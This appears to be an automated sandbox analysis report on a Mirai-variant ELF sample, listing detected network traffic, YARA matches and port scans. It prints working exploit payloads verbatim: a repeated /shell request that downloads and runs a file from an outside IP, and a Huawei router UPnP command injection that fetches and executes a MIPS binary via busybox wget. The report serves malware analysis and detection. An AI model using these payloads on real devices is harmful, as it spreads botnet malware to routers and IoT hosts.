Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive

Source: global traffic

DNS traffic detected: DNS query: scamanje.stresserit.pro

Source: unknown

HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: mpsl.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: mpsl.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

System Summary

Malicious sample detected (through community Yara rule)

Source: mpsl.elf, type: SAMPLE	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: mpsl.elf, type: SAMPLE	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: 6225.1.00007ff8bc400000.00007ff8bc416000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 6225.1.00007ff8bc400000.00007ff8bc416000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: 6221.1.00007ff8bc400000.00007ff8bc416000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 6221.1.00007ff8bc400000.00007ff8bc416000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF malware Mirai related Author: Florian Roth

Source: Initial sample

String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: ELF static info symbol of initial sample

.symtab present: no

Source: mpsl.elf, type: SAMPLE	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: mpsl.elf, type: SAMPLE	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: 6225.1.00007ff8bc400000.00007ff8bc416000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 6225.1.00007ff8bc400000.00007ff8bc416000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: 6221.1.00007ff8bc400000.00007ff8bc416000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 6221.1.00007ff8bc400000.00007ff8bc416000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research

Source: classification engine

Classification label: mal100.troj.linELF@0/0@25/0

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 58500 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51360 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36934 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47296 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34128 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48498 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37578 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44534 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39738 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42012 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46262 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40116 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36106 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55898 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49640 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39918 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59654 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59548 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41286 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54892 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47878 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46270 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48390 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33316 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55190 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56720 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39692 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36238 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37818 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35230 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35626 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45194 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56104 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52672 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41114 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33738 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34930 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42458 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40972 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57124 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53488 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43368 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47336 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51350 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45514 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43208 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36640 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40818 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51678 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41206 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40582 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47528 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53650 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38036 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52042 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58434 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38890 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50122 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57274 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46164 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57218 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34610 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55636 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34432 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43664 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50668 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39804 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46350 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47776 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51038 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45184 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33162 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43022 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35220 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35748 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38628 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33134 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35158 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52960 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45014 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57418 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39958 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40304 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56208 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57802 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51002 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60198 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39678 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60416 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45752 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41104 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48246 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45494 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47218 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37592 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52368 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48416 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37070 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57428 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52298 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38908 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41944 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33122 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60816 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59252 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59450 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47984 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37714 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47238 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53456 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47842 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36308 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37922 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59624 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47182 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41646 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34904 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48414 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60604 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58286 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59050 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45474 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41742 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33548 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59870 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40522 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60048 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51930 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53724 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60060 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60888 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57802 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33736 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59402 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49574 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44868 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42634 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58962 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48210 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35592 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32940 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54970 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52356 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47668 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50274 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49006 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51482 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40934 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36326 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49510 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55408 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53888 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59200 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58216 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40760 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43160 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49436 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58758 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40564 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56620 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40246 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43496 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48264 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37398 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44220 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49576 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49114 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43882 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40910 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45020 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47556 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60786 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44396 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44430 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56718 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47654 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55880 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45346 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37446 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45596 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34410 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59470 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37192 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49454 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57100 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57484 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57184 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53444 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42254 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59838 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60316 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35308 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60036 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45258 -> 37215
